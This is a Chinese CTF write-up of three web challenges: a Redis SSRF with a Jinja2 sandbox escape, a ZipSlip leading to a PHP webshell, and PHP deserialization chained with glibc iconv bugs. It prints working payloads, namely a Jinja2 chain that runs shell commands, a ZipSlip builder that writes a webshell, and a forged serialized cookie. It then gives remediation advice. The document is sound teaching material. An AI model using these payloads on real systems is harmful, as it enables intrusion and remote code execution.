长城杯半决赛三道 Web—从 redis SSRF、ZipSlip 到 glibc iconv 溢出
字数 6392
更新时间 2026-03-26 16:06:11
长城杯半决赛 Web 赛题审计深度剖析教学文档
0x00 前言
本文旨在深入解析长城杯半决赛的三道独立 Web 赛题,剖析其中涉及的安全漏洞及其利用技术。三道题目覆盖了从应用逻辑漏洞、服务端请求伪造、路径穿越到深层的编码转换缓冲区溢出等多个层面,并与近年来的真实 CVE 相关联,具备很高的学习和研究价值。
0x01 IntraBadge — redis:// SSRF 与 Jinja2 沙箱逃逸
应用架构与业务逻辑
- 核心技术栈:Flask + Redis + Jinja2 沙盒化渲染环境。
- 核心功能:一个内部工牌系统,包含以下功能:
- 用户可编辑并保存一个 Jinja2 模板至 Redis 的
tpl:<user>键。 - 用户可设置头像 URL,后端通过
fetch_resource函数拉取内容并缓存至 Redis 的avatarbin:<user>键。 /preview页面使用SandboxedEnvironment渲染用户模板,并将渲染结果以{{ rendered|safe }}形式输出,|safe过滤器会关闭自动转义。
- 用户可编辑并保存一个 Jinja2 模板至 Redis 的
核心漏洞与利用链
1. 身份伪造漏洞
- 代码逻辑:用户身份直接从 Cookie 的
user字段获取,仅通过safe_key函数进行正则规范化(替换非法字符、截断长度),而不进行任何密码或 session 校验。 - 利用:攻击者可通过设置
Cookie: user=admin直接获得管理员身份。
2. SSRF 攻击 Redis
- 漏洞点:
utils.py中的fetch_resource函数支持redis://协议。该函数解析类似redis://host:port/db/key的 URL,并使用redis.Redis客户端直接连接指定 Redis 实例执行GET命令。 - 利用链:
- 用户通过
POST /avatar将avatar_url设置为redis://127.0.0.1:6379/0/flag,此 URL 被存入 Redis 键avatar_url:<user>。 - 触发
POST /avatar/refresh,后端从 Redis 读取该 URL 并调用fetch_resource,从而连接到本地 Redis 并读取flag键的值,结果存入avatarbin:<user>。 - 用户模板中包含
{{ avatar_raw_text() }},访问/preview时,闭包函数会读取并显示avatarbin:<user>中的内容(即 flag)。
- 用户通过
3. Jinja2 沙箱逃逸 (CVE-2025-27516)
- 漏洞背景:
SandboxedEnvironment旨在限制模板内可访问的属性与方法。其三层防御包括:拦截对双下划线属性(如__class__)的访问、细粒度检查安全属性、以及返回Undefined对象静默失败。然而,|attr过滤器在旧版本中存在缺陷。 - CVE-2025-27516 分析:在受影响的 Jinja2 版本 (< 3.1.6) 中,
|attr过滤器(do_attr函数)绕过了environment.getattr()沙箱检查入口,直接使用 Python 原生getattr()获取属性。这使得攻击者可以通过|attr过滤器获取原本被拦截的属性,例如函数对象的__globals__。 - 在本题中的利用:
- 模板上下文中的
avatar_raw_text是一个闭包函数,其__globals__属性包含了运行时环境的所有导入模块(如os)。 - 通过
|attr过滤器,可直接访问此属性并执行命令:{{ avatar_raw_text|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")() }}
- 模板上下文中的
- 修复:Jinja2 3.1.6 修复了此漏洞,
do_attr函数改为先检查属性存在性,再通过environment.getattr()获取属性值,确保沙箱逻辑生效。
漏洞总结
- 攻击路径:Cookie伪造身份 → SSRF 利用
redis://协议读取内网 Redis → 若需 RCE 则利用 Jinja2 沙箱逃逸漏洞。 - 安全启示:对用户输入的任何 URL 都应进行严格的协议白名单校验;模板沙箱并非绝对安全,需锁定依赖版本并关注安全更新。
0x02 easy_time — ZipSlip 路径穿越与 SSRF
应用架构
- 双服务架构:一个容器内通过 Supervisor 并行运行两个服务:
- Flask 应用(端口 5000):提供登录、文件上传等主功能。
- Apache + PHP 8.2(端口 80):仅容器内部可访问的静态服务。
- 攻击路径暗示:必须从 Flask 应用发起 SSRF 才能触发 Apache 上的 PHP 代码执行。
核心漏洞与利用链
1. 认证绕过
- 代码逻辑:
is_logged_in()函数仅检查 Cookie 中是否存在visited=yes和user字段,不校验其合法性。 - 利用:设置
Cookie: visited=yes; user=admin即可获得管理员权限。
2. ZipSlip 路径穿越漏洞
- 漏洞函数对比:
safe_extract_zip:安全版本。通过resolve()解析路径,并使用os.path.commonpath检查解压后目标路径是否仍在目标目录内,可有效防御路径穿越。safe_upload:不安全版本。直接使用os.path.join(dest_dir, info.filename)拼接路径,无任何校验。
- 实际调用:插件上传功能调用了不安全的
safe_upload函数。safe_extract_zip在整个项目中未被调用。 - 漏洞原理:
os.path.join在遇到以/开头的路径组件时会直接用其覆盖基路径,遇到包含../的路径时则会进行拼接,后续文件操作会解析这些../实现目录穿越。 - 恶意 ZIP 构造:
import zipfile, io def make_zipslip(entry_name, payload): buf = io.BytesIO() with zipfile.ZipFile(buf, 'w') as zf: zf.writestr(zipfile.ZipInfo(entry_name), payload) return buf.getvalue() evil_zip = make_zipslip("../../../var/www/html/shell.php", b'<?php system($_GET["cmd"]); ?>')
3. SSRF 触发 Webshell
- 漏洞点:
/about路由的fetch_remote_avatar_info函数会获取用户提供的avatar_url内容。虽然项目内存在完善的_host_is_public函数用于过滤内网IP,但该函数未被调用。因此,攻击者可向127.0.0.1:80发起请求。 - 利用链:
- 通过 ZipSlip 将 PHP webshell 写入 Apache 的文档根目录(
/var/www/html/shell.php)。 - 设置
avatar_url为http://127.0.0.1/shell.php?cmd=cat+/flag。 - 访问
/about页面,Flask 应用会向本地 Apache 发起请求,触发 webshell 执行,并将命令输出回显在页面中。
- 通过 ZipSlip 将 PHP webshell 写入 Apache 的文档根目录(
漏洞总结
- 攻击路径:Cookie伪造身份 → 上传包含恶意路径的ZIP文件实现路径穿越,写入webshell → 利用未过滤内网地址的SSRF功能访问本地Apache,触发webshell执行。
- 安全启示:
- “安全函数存在但未调用”是严重风险。审计时需追踪调用链,确保安全函数在热路径上。
- 路径校验必须使用
os.path.commonpath,而非按字符前缀匹配的os.path.commonprefix。 - 内部服务间应建立明确的信任边界,避免一个服务的漏洞成为攻击另一个服务的跳板。
0x03 MediaDrive — PHP 反序列化与 glibc iconv 堆溢出
核心漏洞入口:Cookie 反序列化
- 代码逻辑:每个页面开头都会尝试反序列化 Cookie 中的
user值,并检查是否为User类实例。类属性为public。 - 利用:攻击者可以直接构造一个序列化字符串,篡改
User对象的属性,特别是basePath(文件操作基路径)和encoding(iconv 转换的源编码)。这构成了“属性注入”漏洞。// 恶意Cookie,将 basePath 改为根目录,encoding 改为 ISO-2022-CN-EXT O:4:"User":3:{s:4:"name";s:5:"admin";s:8:"encoding";s:18:"ISO-2022-CN-EXT";s:8:"basePath";s:1:"/";}
攻击面一:iconv 编码绕过实现文件读取 (preview.php)
- 漏洞逻辑:
$rawPath = $user->basePath . $f;// 可控preg_match对$rawPath进行黑名单检查(过滤flag、..等)。$convertedPath = iconv($user->encoding, "UTF-8//IGNORE", $rawPath);// 使用可控编码转换路径file_get_contents($convertedPath);// 读取转换后的路径
- 绕过原理:利用
ISO-2022-CN-EXT编码的状态机特性。该编码通过转义序列(如\x1b$)A装载字符集,\x0e切换到双字节模式)切换解释状态。在双字节模式下,两个字节被解释为一个字符。 - 构造Payload:在路径中插入转义序列,使黑名单关键字(如
..中的点)的某个字节成为无效双字节字符的一部分。iconv在转换为 UTF-8 时,因//IGNORE标志会丢弃无法转换的字符,从而“吞掉”关键字节,使转换后的路径绕过黑名单并指向目标文件(如/flag)。 - 本质:这是一个 TOCTOU (Time-Of-Check Time-Of-Use) 问题,检查(黑名单)和使用(
file_get_contents)之间发生了改变数据语义的编码转换。
攻击面二:CVE-2024-2961 glibc iconv 堆溢出实现 RCE
- 漏洞位置:
glibc/iconvdata/iso-2022-cn-ext.c中,当ISO-2022-CN-EXT作为目标编码时,处理SS2和SS3字符集切换的分支在写入 4 字节转义序列(如\x1b$*H)时,缺少输出缓冲区边界检查。 - 触发条件:需要转换一个在
CNS 11643平面 2-7 中有映射的字符到ISO-2022-CN-EXT编码。例如,中文字符“劄”(UTF-8:\xe5\x8a\x84)在平面2,会触发SS2分支,写入\x1b$*H。 - 溢出效果:当输出缓冲区剩余空间不足4字节时,会写入超出缓冲区末尾1字节(如
H即0x48)。在 PHP 中,这破坏了由 Zend Memory Manager 管理的堆内存。 - 从1字节溢出到RCE:利用 PHP 的
php://filter链进行复杂的堆风水(Heap Feng Shui):- 堆操控:结合
zlib.inflate、dechunk和convert.iconv.latin1.latin1等过滤器,精确控制堆的分配与释放,在free_slot(类似 tcache 的单链表)中构造特定布局。 - 溢出劫持:触发 iconv 溢出,篡改
free_slot中某个堆块的next指针,使其指向_zend_mm_heap结构体。 - 篡改全局堆处理器:通过篡改的指针向
_zend_mm_heap写入伪造的custom_heap函数指针,将_free设置为system函数地址。 - 触发命令执行:后续当 PHP 释放一个包含命令字符串的堆块时,实际会调用
system(“命令”),从而实现 RCE。
- 堆操控:结合
- 影响范围:任何使用受影响版本 glibc 并允许用户控制
iconv编码参数的应用都可能受影响,PHP 因广泛使用iconv且参数常可控而成为主要攻击目标。
漏洞总结
- 攻击路径:
- 文件读取:反序列化控制编码和基路径 → 利用
ISO-2022-CN-EXT状态机绕过路径黑名单 → 读取任意文件。 - 远程代码执行:在具备文件读取能力后,利用
php://filter链触发 CVE-2024-2961 堆溢出,通过复杂的堆利用劫持 PHP 内存管理器,最终执行系统命令。
- 文件读取:反序列化控制编码和基路径 → 利用
- 安全启示:
- 永远不要反序列化用户输入。应使用 JSON 等安全格式并签名。
- 谨慎处理编码转换。将
iconv视为高危函数,特别是当源编码用户可控时。应从白名单中移除ISO-2022-CN-EXT等危险编码。 - 防御逻辑顺序关键。安全校验应在所有编码转换之后进行,或使用白名单+
realpath前缀检查等更可靠的方法。 - 及时更新底层库。系统级漏洞(如 glibc)的影响深远,需建立基础镜像和依赖库的定期更新机制。
0x04 审计方法论总结
从这三道题中可提炼出以下通用审计思路:
- 追踪“最后一公里”:不仅要查找安全函数(如
safe_extract_zip,_host_is_public)是否存在,更要追踪其调用链,确认它是否在真正的数据流中被执行。安全代码未被调用等于没有防护。 - 警惕协议处理函数:对于支持多种协议/方案的底层函数(如
fetch_resource),必须在上层调用点实施严格的、符合业务需求的白名单限制,防止其危险能力被间接利用。 - 解压函数唯一性:确保项目中只存在一个归档解压实现,并且它是安全的。通过代码搜索确保所有调用都指向该安全实现。
- 正确使用路径校验 API:在 Python 中,路径包含性检查必须使用基于路径语义的
os.path.commonpath,绝不能用基于字符串前缀的os.path.commonprefix。 - 视
iconv为危险函数:特别是当编码参数(尤其是源编码)用户可控时。避免在输入校验和最终使用之间插入编码转换步骤,以防 TOCTOU 绕过。 - 彻底弃用不安全的反序列化:用安全的序列化格式(如 JSON)和密码学签名来替代。
0x05 修复建议(摘要)
- IntraBadge:移除
fetch_resource对redis://的支持;使用服务端 Session 替代 Cookie 身份存储;锁定 Jinja2 版本并移除模板上下文中的函数对象。 - easy_time:删除不安全的
safe_upload函数,确保所有解压操作调用safe_extract_zip;在fetch_remote_avatar_info中调用_host_is_public进行内网过滤。 - MediaDrive:使用
json_decode+ HMAC 签名替代unserialize;从编码白名单中移除ISO-2022-CN-EXT;将文件路径检查逻辑移至iconv转换之后,或改用realpath进行白名单校验;升级系统 glibc 版本。
文档未详述此点,但基于我所掌握的知识:文中提到的 CVE-2024-2961 和 CVE-2025-27516 是真实漏洞编号的示例,用于教学类比。在实际环境中,请务必参考官方安全公告获取确切的漏洞信息和修复版本。
相似文章
相似文章